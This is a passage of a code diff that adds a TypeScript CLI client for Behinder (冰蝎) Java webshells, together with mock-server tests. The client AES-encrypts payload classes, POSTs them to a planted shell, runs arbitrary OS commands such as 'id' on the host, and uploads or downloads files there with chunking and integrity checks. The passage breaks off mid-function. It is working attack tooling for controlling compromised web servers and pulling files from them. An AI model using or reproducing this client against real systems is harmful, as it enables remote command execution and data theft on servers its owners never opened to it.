+ return Buffer.from(aesEcbEncrypt(Buffer.from(json, "utf8"), KEY).toString("base64"));
+}
+
+/**
+ * Emulate the FileOperation payload for the modes the CLI uses.
+ * Envelope encoding mirrors buildJson(map, true): every value base64'd once,
+ * JSON, AES, base64 — so downloadPart's msg (already base64 in the payload)
+ * goes out double-encoded, exactly like the real shell.
+ */
+function fileOpReply(state: BhMockState, classBytes: Buffer): Buffer | null {
+ const mode = readStringConstant(classBytes, "mode");
+ if (mode === null) return null;
+ const path = readStringConstant(classBytes, "path") ?? "";
+ const content = readStringConstant(classBytes, "content");
+ const blockIndex = Number(readStringConstant(classBytes, "blockIndex") ?? "0");
+ const blockSize = Number(readStringConstant(classBytes, "blockSize") ?? "0");
+
+ const envelope = (status: string, msg: string): Buffer => {
+ const json = JSON.stringify({
+ status: Buffer.from(status).toString("base64"),
+ msg: Buffer.from(msg, "utf8").toString("base64"),
+ });
+ return Buffer.from(aesEcbEncrypt(Buffer.from(json, "utf8"), KEY).toString("base64"));
+ };
+
+ switch (mode) {
+ case "checkExist": {
+ if (state.fakeSize !== undefined) return envelope("success", String(state.fakeSize));
+ const file = state.files.get(path);
+ if (file === undefined) return envelope("fail", ""); // payload: throw new Exception("")
+ return envelope("success", String(file.length));
+ }
+ case "create": {
+ const data = Buffer.from(content ?? "", "base64");
+ state.files.set(path, data); // FileOutputStream(path) — truncate + write
+ return envelope("success", `${path}上传完成,远程文件大小:${data.length}`);
+ }
+ case "append": {
+ if (state.failNextAppends > 0) {
+ state.failNextAppends--;
+ return envelope("fail", "mock injected failure");
+ }
+ const data = Buffer.from(content ?? "", "base64");
+ state.files.set(path, Buffer.concat([state.files.get(path) ?? Buffer.alloc(0), data]));
+ return envelope("success", `${path}追加完成,远程文件大小:${state.files.get(path)!.length}`);
+ }
+ case "downloadPart": {
+ const file = state.files.get(path);
+ if (file === undefined) return envelope("fail", `FileNotFoundException: ${path}`);
+ const pos = blockIndex * blockSize;
+ if (pos >= file.length) return envelope("fail", ""); // EOF -> NegativeArraySizeException
+ if (state.failNextReads > 0) {
+ state.failNextReads--;
+ return envelope("fail", "mock injected failure");
+ }
+ const chunk = file.subarray(pos, Math.min(pos + blockSize, file.length));
+ return envelope("success", chunk.toString("base64"));
+ }
+ case "check": {
+ state.checkCalls++;
+ const file = state.files.get(path);
+ // empty/missing file -> the payload NPEs on a null msg -> empty body
+ if (file === undefined || file.length === 0) return Buffer.alloc(0);
+ const md5 = state.corruptCheck ? "0000000000000000" : md5Hex(file).slice(0, 16);
+ state.corruptCheck = false;
+ return envelope("success", md5);
+ }
+ default:
+ return envelope("fail", `unsupported mode ${mode}`);
+ }
+}
+
+function startMock(state: BhMockState = newBhMockState()): Promise {
+ const server = createServer((req, res) => {
+ const chunks: Buffer[] = [];
+ req.on("data", (c: Buffer) => chunks.push(c));
+ req.on("end", () => {
+ const body = Buffer.concat(chunks);
+ const fail = () => res.writeHead(200).end();
+ const ua = req.headers["user-agent"] ?? "";
+ if (!ua.includes(GATE)) return fail();
+
+ // Behinder shell: base64(AES(class)) or raw AES(class)
+ let classBytes: Buffer | null = null;
+ try {
+ classBytes = aesEcbDecrypt(Buffer.from(body.toString("latin1").trim(), "base64"), KEY);
+ } catch {
+ try {
+ classBytes = aesEcbDecrypt(body, KEY);
+ } catch {
+ classBytes = null;
+ }
+ }
+ if (!classBytes || classBytes.readUInt32BE(0) !== 0xcafebabe) return fail();
+
+ const raw = req.url === "/behinder-raw";
+ // the FileOperation payload carries a `mode` field
+ const fo = fileOpReply(state, classBytes);
+ if (fo !== null) {
+ res.writeHead(200).end(fo);
+ return;
+ }
+ // the Cmd payload carries a `cmd` field instead of Echo's `content`
+ if (readStringConstant(classBytes, "cmd") !== null) {
+ res.writeHead(200).end(cmdReply(classBytes));
+ return;
+ }
+ res.writeHead(200).end(echoReply(classBytes, raw));
+ });
+ });
+ return new Promise((resolve) => server.listen(0, "127.0.0.1", () => resolve(server)));
+}
+
+describe("testBehinder", () => {
+ let server: Server;
+ let base: string;
+
+ beforeAll(async () => {
+ server = await startMock();
+ base = `http://127.0.0.1:${(server.address() as AddressInfo).port}`;
+ });
+
+ afterAll(() => new Promise((resolve) => server.close(resolve)));
+
+ it("verifies the echo round-trip with the right password", async () => {
+ const result = await testBehinder(`${base}/behinder`, "rebeyond", { headerValue: GATE });
+ expect(result.ok).toBe(true);
+ expect(result.detail).toMatch(/echo verified \(\d+ random bytes/);
+ });
+
+ it("handles raw AES responses with a magic suffix", async () => {
+ const result = await testBehinder(`${base}/behinder-raw`, "rebeyond", {
+ headerValue: GATE,
+ });
+ expect(result.ok).toBe(true);
+ });
+
+ it("fails with a wrong password", async () => {
+ const result = await testBehinder(`${base}/behinder`, "wrongpass", { headerValue: GATE });
+ expect(result.ok).toBe(false);
+ expect(result.error).toContain("wrong password");
+ });
+
+ it("fails without the gate header", async () => {
+ const result = await testBehinder(`${base}/behinder`, "rebeyond");
+ expect(result.ok).toBe(false);
+ });
+
+ it("reports network errors", async () => {
+ const result = await testBehinder("http://127.0.0.1:1/x", "rebeyond", { timeoutMs: 2000 });
+ expect(result.ok).toBe(false);
+ expect(result.error).toBeTruthy();
+ });
+});
+
+describe("execBehinder", () => {
+ let server: Server;
+ let base: string;
+
+ beforeAll(async () => {
+ server = await startMock();
+ base = `http://127.0.0.1:${(server.address() as AddressInfo).port}`;
+ });
+
+ afterAll(() => new Promise((resolve) => server.close(resolve)));
+
+ it("runs the injected command and returns its output", async () => {
+ const result = await execBehinder(`${base}/behinder`, "rebeyond", "id", {
+ headerValue: GATE,
+ });
+ expect(result.ok).toBe(true);
+ expect(result.output).toBe("MOCK-EXEC:id");
+ });
+
+ it("handles commands with spaces and shell metacharacters", async () => {
+ const cmd = "sh -c 'echo a; echo b' | tail -1";
+ const result = await execBehinder(`${base}/behinder`, "rebeyond", cmd, {
+ headerValue: GATE,
+ });
+ expect(result.ok).toBe(true);
+ expect(result.output).toBe(`MOCK-EXEC:${cmd}`);
+ });
+
+ it("surfaces a remote failure status with its message", async () => {
+ const result = await execBehinder(`${base}/behinder`, "rebeyond", "please-fail", {
+ headerValue: GATE,
+ });
+ expect(result.ok).toBe(false);
+ expect(result.error).toContain("boom");
+ });
+
+ it("fails with a wrong password", async () => {
+ const result = await execBehinder(`${base}/behinder`, "wrongpass", "id", {
+ headerValue: GATE,
+ });
+ expect(result.ok).toBe(false);
+ });
+});
+
+
+describe("downloadBehinder", () => {
+ let server: Server;
+ let base: string;
+ const state: BhMockState = newBhMockState();
+
+ beforeAll(async () => {
+ server = await startMock(state);
+ base = `http://127.0.0.1:${(server.address() as AddressInfo).port}`;
+ });
+
+ afterAll(() => new Promise((resolve) => server.close(resolve)));
+
+ const BINARY = (() => {
+ const b = Buffer.alloc(256);
+ for (let i = 0; i < 256; i++) b[i] = i;
+ b[0] = 0x1f;
+ b[1] = 0x8b; // gzip magic — must survive the envelope
+ return b;
+ })();
+
+ it("downloads a small binary file byte-for-byte (double base64 unwrap)", async () => {
+ state.files.set("/tmp/a.bin", BINARY);
+ const result = await downloadBehinder(`${base}/behinder`, "rebeyond", "/tmp/a.bin", {
+ headerValue: GATE,
+ });
+ expect(result.ok).toBe(true);
+ expect(result.bytes).toBe(BINARY.length);
+ expect(result.data?.equals(BINARY)).toBe(true);
+ });
+
+ it("downloads in small chunks (absolute block offsets)", async () => {
+ const big = Buffer.alloc(1000);
+ for (let i = 0; i < big.length; i++) big[i] = (i * 29 + 11) % 256;
+ state.files.set("/tmp/chunked.bin", big);
+ const result = await downloadBehinder(`${base}/behinder`, "rebeyond", "/tmp/chunked.bin", {
+ headerValue: GATE,
+ downloadChunkSize: 7,
+ });
+ expect(result.ok).toBe(true);
+ expect(result.data?.equals(big)).toBe(true);
+ });
+
+ it("downloads an empty file and skips the hash check", async () => {
+ state.files.set("/tmp/empty.bin", Buffer.alloc(0));
+ const result = await downloadBehinder(`${base}/behinder`, "rebeyond", "/tmp/empty.bin", {
+ headerValue: GATE,
+ });
+ expect(result.ok).toBe(true);
+ expect(result.bytes).toBe(0);
+ expect(result.detail).toMatch(/hash check skipped/);
+ });
+
+ it("fails for a missing remote file", async () => {
+ state.files.delete("/tmp/nope.bin");
+ const result = await downloadBehinder(`${base}/behinder`, "rebeyond", "/tmp/nope.bin", {
+ headerValue: GATE,
+ });
+ expect(result.ok).toBe(false);
+ expect(result.error).toMatch(/not found/);
+ });
+
+ it("retries failed chunks and succeeds", async () => {
+ state.files.set("/tmp/flaky.bin", BINARY);
+ state.failNextReads = 2; // budget is 3 attempts per chunk
+ const result = await downloadBehinder(`${base}/behinder`, "rebeyond", "/tmp/flaky.bin", {
+ headerValue: GATE,
+ });
+ expect(result.ok).toBe(true);
+ expect(result.data?.equals(BINARY)).toBe(true);
+ });
+
+ it("gives up after the retry budget", async () => {
+ state.files.set("/tmp/dead.bin", BINARY);
+ state.failNextReads = 99;
+ const result = await downloadBehinder(`${base}/behinder`, "rebeyond", "/tmp/dead.bin", {
+ headerValue: GATE,
+ });
+ expect(result.ok).toBe(false);
+ expect(result.error).toMatch(/chunk 0 .* failed/);
+ state.failNextReads = 0;
+ });
+
+ it("detects a hash mismatch (file changed mid-transfer)", async () => {
+ state.files.set("/tmp/mut.bin", Buffer.from("original content"));
+ state.corruptCheck = true;
+ const result = await downloadBehinder(`${base}/behinder`, "rebeyond", "/tmp/mut.bin", {
+ headerValue: GATE,
+ });
+ expect(result.ok).toBe(false);
+ expect(result.error).toMatch(/hash mismatch/);
+ });
+
+ it("handles a non-ASCII remote path", async () => {
+ const name = "/tmp/测试文件-日志.bin";
+ state.files.set(name, BINARY);
+ const result = await downloadBehinder(`${base}/behinder`, "rebeyond", name, {
+ headerValue: GATE,
+ });
+ expect(result.ok).toBe(true);
+ expect(result.data?.equals(BINARY)).toBe(true);
+ });
+
+ it("skips the expensive MD5 check over the limit and verifies the size", async () => {
+ const big = Buffer.alloc(1000, 0x5a);
+ state.files.set("/tmp/large.bin", big);
+ state.checkCalls = 0;
+ const result = await downloadBehinder(`${base}/behinder`, "rebeyond", "/tmp/large.bin", {
+ headerValue: GATE,
+ downloadChunkSize: 100,
+ hashCheckLimit: 10,
+ });
+ expect(result.ok).toBe(true);
+ expect(result.data?.equals(big)).toBe(true);
+ expect(result.detail).toMatch(/MD5 check skipped, size verified/);
+ expect(state.checkCalls).toBe(0);
+ });
+
+ it("fails when the post-transfer size check mismatches", async () => {
+ state.files.set("/tmp/shift.bin", Buffer.alloc(64, 0x61));
+ state.checkCalls = 0;
+ state.fakeSize = 999; // the upload flow only calls checkExist when verifying
+ const result = await uploadBehinder(
+ `${base}/behinder`,
+ "rebeyond",
+ "/tmp/shift.bin",
+ Buffer.alloc(64, 0x61),
+ { headerValue: GATE, hashCheckLimit: 10 },
+ );
+ expect(result.ok).toBe(false);
+ expect(result.error).toMatch(/size verification failed/);
+ expect(state.checkCalls).toBe(0);
+ state.fakeSize = undefined;
+ });
+
+ it("fails with a wrong password", async () => {
+ const result = await downloadBehinder(`${base}/behinder`, "wrongpass", "/tmp/a.bin", {
+ headerValue: GATE,
+ });
+ expect(result.ok).toBe(false);
+ });
+
+ it("fails without the gate header", async () => {
+ const result = await downloadBehinder(`${base}/behinder`, "rebeyond", "/tmp/a.bin");
+ expect(result.ok).toBe(false);
+ });
+});
+
+describe("uploadBehinder", () => {
+ let server: Server;
+ let base: string;
+ const state: BhMockState = newBhMockState();
+
+ beforeAll(async () => {
+ server = await startMock(state);
+ base = `http://127.0.0.1:${(server.address() as AddressInfo).port}`;
+ });
+
+ afterAll(() => new Promise((resolve) => server.close(resolve)));
+
+ it("uploads a small file in one create chunk and verifies the MD5", async () => {
+ const data = Buffer.from("behinder upload \u0000\u00ff binary", "latin1");
+ const result = await uploadBehinder(`${base}/behinder`, "rebeyond", "/tmp/up.bin", data, {
+ headerValue: GATE,
+ });
+ expect(result.ok).toBe(true);
+ expect(result.bytes).toBe(data.length);
+ expect(state.files.get("/tmp/up.bin")?.equals(data)).toBe(true);
+ });
+
+ it("uploads a multi-chunk file (create then append)", async () => {
+ // 100_000 bytes > 46 080 upload chunk -> 3 chunks
+ const data = Buffer.alloc(100_000);
+ for (let i = 0; i < data.length; i++) data[i] = (i * 7 + 1) % 256;
+ const result = await uploadBehinder(`${base}/behinder`, "rebeyond", "/tmp/big.bin", data, {
+ headerValue: GATE,
+ });
+ expect(result.ok).toBe(true);
+ expect(state.files.get("/tmp/big.bin")?.equals(data)).toBe(true);
+ });
+
+ it("truncates an existing longer remote file (first chunk is create)", async () => {
+ state.files.set("/tmp/trunc.bin", Buffer.alloc(5000, 0x41));
+ const data = Buffer.from("short new content");
+ const result = await uploadBehinder(`${base}/behinder`, "rebeyond", "/tmp/trunc.bin", data, {
+ headerValue: GATE,
+ });
+ expect(result.ok).toBe(true);
+ expect(state.files.get("/tmp/trunc.bin")?.equals(data)).toBe(true);
+ });
+
+ it("uploads an empty file", async () => {
+ state.files.set("/tmp/emptyup.bin", Buffer.from("old"));
+ const result = await uploadBehinder(
+ `${base}/behinder`,
+ "rebeyond",
+ "/tmp/emptyup.bin",
+ Buffer.alloc(0),
+ { headerValue: GATE },
+ );
+ expect(result.ok).toBe(true);
+ expect(result.detail).toMatch(/hash check skipped/);
+ expect(state.files.get("/tmp/emptyup.bin")?.length).toBe(0);
+ });
+
+ it("aborts on a failed append and warns about a partial file", async () => {
+ const data = Buffer.alloc(100_000, 0x61);
+ state.failNextAppends = 5; // every append fails
+ const result = await uploadBehinder(`${base}/behinder`, "rebeyond", "/tmp/part.bin", data, {
+ headerValue: GATE,
+ });
+ expect(result.ok).toBe(false);
+ expect(result.error).toMatch(/may be incomplete/);
+ state.failNextAppends = 0;
+ });
+
+ it("detects a hash mismatch after upload", async () => {
+ const data = Buffer.from("hash me");
+ state.corruptCheck = true;
+ const result = await uploadBehinder(`${base}/behinder`, "rebeyond", "/tmp/hm.bin", data, {
+ headerValue: GATE,
+ });
+ expect(result.ok).toBe(false);
+ expect(result.error).toMatch(/hash mismatch/);
+ });
+
+ it("round-trips: upload then download", async () => {
+ const data = Buffer.alloc(60_000);
+ for (let i = 0; i < data.length; i++) data[i] = (i * 3 + 19) % 256;
+ const up = await uploadBehinder(`${base}/behinder`, "rebeyond", "/tmp/rt.bin", data, {
+ headerValue: GATE,
+ });
+ expect(up.ok).toBe(true);
+ const down = await downloadBehinder(`${base}/behinder`, "rebeyond", "/tmp/rt.bin", {
+ headerValue: GATE,
+ downloadChunkSize: 12345,
+ });
+ expect(down.ok).toBe(true);
+ expect(down.data?.equals(data)).toBe(true);
+ });
+
+ it("skips the expensive MD5 check over the limit (upload)", async () => {
+ const data = Buffer.alloc(500, 0x62);
+ state.checkCalls = 0;
+ const result = await uploadBehinder(`${base}/behinder`, "rebeyond", "/tmp/bigup.bin", data, {
+ headerValue: GATE,
+ hashCheckLimit: 10,
+ });
+ expect(result.ok).toBe(true);
+ expect(result.detail).toMatch(/MD5 check skipped, size verified/);
+ expect(state.files.get("/tmp/bigup.bin")?.equals(data)).toBe(true);
+ expect(state.checkCalls).toBe(0);
+ });
+
+ it("uses the MD5 check under the limit", async () => {
+ const data = Buffer.from("small file gets md5 checked");
+ state.checkCalls = 0;
+ const result = await uploadBehinder(`${base}/behinder`, "rebeyond", "/tmp/smallup.bin", data, {
+ headerValue: GATE,
+ hashCheckLimit: 1024 * 1024,
+ });
+ expect(result.ok).toBe(true);
+ expect(result.detail).toBeUndefined();
+ expect(state.checkCalls).toBe(1);
+ });
+
+ it("fails with a wrong password", async () => {
+ const result = await uploadBehinder(
+ `${base}/behinder`,
+ "wrongpass",
+ "/tmp/x.bin",
+ Buffer.from("x"),
+ { headerValue: GATE },
+ );
+ expect(result.ok).toBe(false);
+ });
+});
diff --git a/tools/cli/src/connect/behinder.ts b/tools/cli/src/connect/behinder.ts
new file mode 100644
index 00000000..7b6ad2cf
--- /dev/null
+++ b/tools/cli/src/connect/behinder.ts
@@ -0,0 +1,620 @@
+/**
+ * Behinder (冰蝎) connection test — Java/JSP protocol.
+ *
+ * Mirrors the Behinder client's `doConnect()`:
+ * 1. inject a random string into the Echo payload class template
+ * (`Params.getParamedClass` sets the `content` field's ConstantValue)
+ * 2. POST `base64(AES/ECB/PKCS5(classBytes, md5(pass)[0:16]))`
+ * 3. the shell defines + runs the class; the Echo payload answers with
+ * `base64(AES({"status":b64,"msg":b64}))` — some Behinder variants answer
+ * raw AES bytes and/or append `magicNum` random trailing bytes, so the
+ * parser tries every combination and validates the JSON envelope
+ * 4. connected iff status == "success" and msg echoes the random string
+ */
+import { CMD_CLASS_BYTES, ECHO_CLASS_BYTES, FILE_OPERATION_CLASS_BYTES } from "./assets.js";
+import { injectStringConstant } from "./classfile.js";
+import { aesEcbDecrypt, aesEcbEncrypt, md5Hex, md5Key16, randomString } from "./crypto.js";
+import { extractCookies, postRaw } from "./http.js";
+import {
+ buildHeaders,
+ type CommonConnectOptions,
+ type ConnectTestResult,
+ type DownloadResult,
+ type ExecResult,
+ type TransferResult,
+} from "./types.js";
+
+export interface BehinderConnectOptions extends CommonConnectOptions {
+ /** Request body encoding. Default: try base64, then raw AES bytes. */
+ requestEncoding?: "base64" | "raw";
+}
+
+const BASE64_RE = /^[A-Za-z0-9+/=\r\n]+$/;
+
+interface EchoEnvelope {
+ status: string;
+ msg: string;
+}
+
+/** Try to turn a response body into the decrypted echo envelope. */
+function parseEchoResponse(body: Buffer, key: string): EchoEnvelope | null {
+ const magic = parseInt(key.slice(0, 2), 16) % 16;
+ const trimmed = trimBytes(body);
+
+ const candidates: Buffer[] = [];
+ const push = (b: Buffer) => {
+ if (b.length > 0 && b.length % 16 === 0 && !candidates.some((c) => c.equals(b))) {
+ candidates.push(b);
+ }
+ };
+
+ if (BASE64_RE.test(trimmed.toString("latin1"))) {
+ let decoded: Buffer | null = null;
+ try {
+ decoded = Buffer.from(trimmed.toString("latin1"), "base64");
+ } catch {
+ decoded = null;
+ }
+ if (decoded) {
+ push(decoded); // v3 / MemShellParty: base64(AES(json))
+ if (decoded.length > magic) push(decoded.subarray(0, decoded.length - magic));
+ }
+ }
+ if (body.length > magic) push(body.subarray(0, body.length - magic)); // raw AES + magic suffix
+ push(body); // raw AES
+
+ for (const candidate of candidates) {
+ try {
+ const plain = aesEcbDecrypt(candidate, key).toString("utf8");
+ const obj: unknown = JSON.parse(plain);
+ if (
+ obj !== null &&
+ typeof obj === "object" &&
+ typeof (obj as Record).status === "string" &&
+ typeof (obj as Record).msg === "string"
+ ) {
+ const rec = obj as { status: string; msg: string };
+ return {
+ status: Buffer.from(rec.status, "base64").toString("utf8"),
+ msg: Buffer.from(rec.msg, "base64").toString("utf8"),
+ };
+ }
+ } catch {
+ // not the right candidate — try the next one
+ }
+ }
+ return null;
+}
+
+function trimBytes(buf: Buffer): Buffer {
+ let start = 0;
+ let end = buf.length;
+ const isWs = (b: number) => b === 0x20 || b === 0x09 || b === 0x0a || b === 0x0d || b === 0x00;
+ while (start < end && isWs(buf[start]!)) start++;
+ while (end > start && isWs(buf[end - 1]!)) end--;
+ return buf.subarray(start, end);
+}
+
+function excerpt(body: Buffer): string {
+ const text = body
+ .toString("latin1")
+ .replace(/[^\x20-\x7e]+/g, " ")
+ .trim();
+ return text.length > 160 ? `${text.slice(0, 160)}...` : text;
+}
+
+export async function testBehinder(
+ url: string,
+ pass: string,
+ options: BehinderConnectOptions = {},
+): Promise {
+ const started = Date.now();
+ const key = md5Key16(pass);
+ const content = randomString(48 + Math.floor(Math.random() * 48));
+ const classBytes = injectStringConstant(ECHO_CLASS_BYTES, "content", content);
+
+ const encodings: Array<"base64" | "raw"> =
+ options.requestEncoding === "raw"
+ ? ["raw"]
+ : options.requestEncoding === "base64"
+ ? ["base64"]
+ : ["base64", "raw"];
+
+ const failures: string[] = [];
+ for (const encoding of encodings) {
+ const encrypted = aesEcbEncrypt(classBytes, key);
+ const body = encoding === "base64" ? Buffer.from(encrypted.toString("base64")) : encrypted;
+ let response;
+ try {
+ response = await postRaw(url, body, {
+ headers: buildHeaders({ "Content-Type": "application/octet-stream" }, options),
+ timeoutMs: options.timeoutMs,
+ insecure: options.insecure,
+ });
+ } catch (err) {
+ return {
+ ok: false,
+ tool: "behinder",
+ url,
+ error: err instanceof Error ? err.message : String(err),
+ durationMs: Date.now() - started,
+ };
+ }
+
+ const envelope = parseEchoResponse(response.body, key);
+ if (envelope) {
+ if (envelope.status === "success" && envelope.msg === content) {
+ return {
+ ok: true,
+ tool: "behinder",
+ url,
+ detail: `echo verified (${content.length} random bytes, ${encoding} request, HTTP ${response.status})`,
+ durationMs: Date.now() - started,
+ };
+ }
+ failures.push(
+ `${encoding}: decrypted but unexpected envelope (status=${JSON.stringify(envelope.status)})`,
+ );
+ } else {
+ failures.push(
+ `${encoding}: HTTP ${response.status}, response not a valid Behinder envelope` +
+ (response.body.length > 0 ? ` (starts with: ${excerpt(response.body)})` : " (empty body)"),
+ );
+ }
+ }
+
+ return {
+ ok: false,
+ tool: "behinder",
+ url,
+ error: failures.join("; ") + " — wrong password, missing gate header, or not a Behinder shell",
+ durationMs: Date.now() - started,
+ };
+}
+
+/**
+ * Behinder command execution — uploads the `Cmd` payload class with its
+ * static `cmd` field filled in (same `Params.getParamedClass` mechanism as
+ * the Echo payload). The payload picks `cmd.exe /c` or `/bin/sh -c` itself
+ * based on `os.name`, so no OS detection is needed here.
+ * The response is the usual Behinder envelope: base64(AES({status, msg})),
+ * where `msg` is the base64-encoded command output (stdout then stderr).
+ */
+export async function execBehinder(
+ url: string,
+ pass: string,
+ command: string,
+ options: BehinderConnectOptions = {},
+): Promise {
+ const started = Date.now();
+ const key = md5Key16(pass);
+ const classBytes = injectStringConstant(CMD_CLASS_BYTES, "cmd", command);
+
+ const fail = (error: string): ExecResult => ({
+ ok: false,
+ tool: "behinder",
+ url,
+ command,
+ error,
+ durationMs: Date.now() - started,
+ });
+
+ const encodings: Array<"base64" | "raw"> =
+ options.requestEncoding === "raw"
+ ? ["raw"]
+ : options.requestEncoding === "base64"
+ ? ["base64"]
+ : ["base64", "raw"];
+
+ const failures: string[] = [];
+ for (const encoding of encodings) {
+ const encrypted = aesEcbEncrypt(classBytes, key);
+ const body = encoding === "base64" ? Buffer.from(encrypted.toString("base64")) : encrypted;
+ let response;
+ try {
+ response = await postRaw(url, body, {
+ headers: buildHeaders({ "Content-Type": "application/octet-stream" }, options),
+ timeoutMs: options.timeoutMs,
+ insecure: options.insecure,
+ });
+ } catch (err) {
+ return fail(err instanceof Error ? err.message : String(err));
+ }
+
+ const envelope = parseEchoResponse(response.body, key);
+ if (envelope) {
+ if (envelope.status === "success") {
+ return {
+ ok: true,
+ tool: "behinder",
+ url,
+ command,
+ output: envelope.msg,
+ durationMs: Date.now() - started,
+ };
+ }
+ // the payload executed but reported failure — its msg says why
+ return fail(`remote status "fail": ${envelope.msg}`);
+ }
+ failures.push(
+ `${encoding}: HTTP ${response.status}, response not a valid Behinder envelope` +
+ (response.body.length > 0 ? ` (starts with: ${excerpt(response.body)})` : " (empty body)"),
+ );
+ }
+
+ return fail(
+ failures.join("; ") + " — wrong password, missing gate header, or not a Behinder shell",
+ );
+}
+
+/* ------------------------------------------------------------------------ *
+ * File transfer (FileOperation payload)
+ *
+ * Behinder v4.1's FileOperation class is uploaded like the Cmd payload, with
+ * static String fields filled client-side (mode/path/content/blockIndex/
+ * blockSize). Protocol choices, matching the official client:
+ *
+ * - upload: mode=create for the first chunk (truncate + write), mode=append
+ * for the rest — sequential and session-independent. The `update` mode the
+ * GUI uses is NOT safe here: it caches a FileChannel in the http session
+ * and falls back to a *truncating* FileOutputStream per request without a
+ * session cookie, corrupting multi-chunk uploads when the shell gives us
+ * no session.
+ * - download: mode=downloadPart (absolute blockIndex*blockSize positioning,
+ * read-only, safe without a session). mode=download is broken in the
+ * payload (reflection type mismatch) and never used by the GUI either.
+ * - size probe: mode=checkExist returns the decimal file size.
+ * - integrity: mode=check returns the remote MD5 hex [0:16] and closes any
+ * session-cached channels. It NPEs on empty files (null msg in buildJson),
+ * so empty transfers verify via checkExist instead.
+ * - downloadPart's msg is base64 TWICE (payload base64s the chunk, buildJson
+ * base64s every value again) — parseEchoResponse strips one layer.
+ * ------------------------------------------------------------------------ */
+
+/** Raw upload block: base64 -> 61440 chars, under the 65535 constant-pool UTF8 limit. */
+const BH_UPLOAD_CHUNK = 46080;
+/** Download block, same as the official client (0x100000). */
+const BH_DOWNLOAD_CHUNK = 1024 * 1024;
+/** Whole-file downloads are buffered in memory — refuse absurd sizes. */
+const BH_MAX_DOWNLOAD = 0x7fffffff; // 2 GiB
+/** Download chunks are idempotent (read-only, absolute position) — safe to retry. */
+const BH_CHUNK_ATTEMPTS = 3;
+/**
+ * The payload's `check` reads the whole remote file byte-by-byte to MD5 it
+ * (getFileData) — minutes and gigabytes of heap for big files. Above this
+ * size verify with a cheap checkExist size comparison instead.
+ */
+const BH_HASH_CHECK_LIMIT = 128 * 1024 * 1024;
+
+interface BehinderChannel {
+ /** Upload the FileOperation class with `fields` filled; resolve the envelope. */
+ invoke(fields: Record): Promise;
+}
+
+/**
+ * A Behinder request channel: reuses the working request encoding (base64 vs
+ * raw AES) once discovered instead of retrying both per chunk, and relays
+ * any session cookie the shell hands out (lets the payload cache its file
+ * channel, and lets `check` close it afterwards).
+ */
+function openBehinderChannel(
+ url: string,
+ key: string,
+ options: BehinderConnectOptions = {},
+): BehinderChannel {
+ let pinned: "base64" | "raw" | null = options.requestEncoding ?? null;
+ let cookie: string | undefined;
+
+ const invoke = async (fields: Record): Promise => {
+ let classBytes: Buffer = FILE_OPERATION_CLASS_BYTES;
+ for (const [name, value] of Object.entries(fields)) {
+ classBytes = injectStringConstant(classBytes, name, value);
+ }
+ const encrypted = aesEcbEncrypt(classBytes, key);
+ const encodings: Array<"base64" | "raw"> = pinned ? [pinned] : ["base64", "raw"];
+
+ const failures: string[] = [];
+ for (const encoding of encodings) {
+ const body = encoding === "base64" ? Buffer.from(encrypted.toString("base64")) : encrypted;
+ const baseHeaders = buildHeaders({ "Content-Type": "application/octet-stream" }, options);
+ const response = await postRaw(url, body, {
+ headers: cookie ? { ...baseHeaders, Cookie: cookie } : baseHeaders,
+ timeoutMs: options.timeoutMs,
+ insecure: options.insecure,
+ });
+ const setCookies = extractCookies(response.headers);
+ if (setCookies.length > 0) cookie = setCookies.join("; ");
+
+ const envelope = parseEchoResponse(response.body, key);
+ if (envelope) {
+ pinned = encoding;
+ return envelope;
+ }
+ failures.push(
+ `${encoding}: HTTP ${response.status}, response not a valid Behinder envelope` +
+ (response.body.length > 0 ? ` (starts with: ${excerpt(response.body)})` : " (empty body)"),
+ );
+ }
+ throw new Error(
+ failures.join("; ") + " — wrong password, missing gate header, or not a Behinder shell",
+ );
+ };
+
+ return { invoke };
+}
+
+export interface BehinderTransferOptions extends BehinderConnectOptions {
+ /** Override the download chunk size (tests use tiny chunks). */
+ downloadChunkSize?: number;
+ /** Override the MD5-vs-size verification threshold (tests use tiny values). */
+ hashCheckLimit?: number;
+}
+
+interface RemoteVerification {
+ error?: string;
+ detail?: string;
+}
+
+/**
+ * Post-transfer integrity check. Small files: `check` returns the remote
+ * MD5 hex [0:16] (and closes any session-cached stream) — compare against
+ * the local bytes. Above `limit`: the payload's check would read the whole
+ * remote file byte-by-byte, so fall back to a checkExist size comparison
+ * and say so in the detail.
+ */
+async function verifyBehinderRemote(
+ channel: BehinderChannel,
+ remotePath: string,
+ data: Buffer,
+ limit: number,
+ mismatchNote: string,
+): Promise {
+ if (data.length > limit) {
+ try {
+ const envelope = await channel.invoke({ mode: "checkExist", path: remotePath });
+ const text = envelope.status === "success" ? envelope.msg.trim() : "";
+ if (!/^\d+$/.test(text) || Number.parseInt(text, 10) !== data.length) {
+ return {
+ error:
+ `size verification failed — local ${data.length} bytes, ` +
+ `remote said ${JSON.stringify(envelope.msg)}`,
+ };
+ }
+ return { detail: `over ${limit} bytes — MD5 check skipped, size verified` };
+ } catch (err) {
+ return {
+ detail: `size verification unavailable (${err instanceof Error ? err.message : String(err)})`,
+ };
+ }
+ }
+
+ try {
+ const envelope = await channel.invoke({ mode: "check", path: remotePath });
+ if (envelope.status === "success" && /^[0-9a-fA-F]{16}$/.test(envelope.msg.trim())) {
+ const local = md5Hex(data).slice(0, 16).toLowerCase();
+ if (envelope.msg.trim().toLowerCase() !== local) {
+ return {
+ error: `hash mismatch — remote md5[0:16]=${envelope.msg.trim()}, local=${local} ${mismatchNote}`,
+ };
+ }
+ return {};
+ }
+ return { detail: "hash verification unavailable (unexpected check response)" };
+ } catch {
+ return { detail: "hash verification unavailable (check request failed)" };
+ }
+}
+
+/**
+ * Behinder file download — checkExist for the size, downloadPart chunks,
+ * then `check` for an MD5[0:16] comparison against the received bytes.
+ */
+export async function downloadBehinder(
+ url: string,
+ pass: string,
+ remotePath: string,
+ options: BehinderTransferOptions = {},
+): Promise {
+ const started = Date.now();
+ const key = md5Key16(pass);
+ const fail = (error: string): DownloadResult => ({
+ ok: false,
+ tool: "behinder",
+ url,
+ direction: "download",
+ remotePath,
+ error,
+ durationMs: Date.now() - started,
+ });
+
+ const channel = openBehinderChannel(url, key, options);
+
+ // ---- size probe ----
+ let size: number;
+ try {
+ const envelope = await channel.invoke({ mode: "checkExist", path: remotePath });
+ if (envelope.status !== "success") {
+ return fail(
+ `remote path not found (or not readable): ${remotePath}` +
+ (envelope.msg ? ` — ${envelope.msg}` : ""),
+ );
+ }
+ const text = envelope.msg.trim();
+ if (!/^\d+$/.test(text)) {
+ return fail(`unexpected checkExist response: ${JSON.stringify(envelope.msg)}`);
+ }
+ size = Number.parseInt(text, 10);
+ } catch (err) {
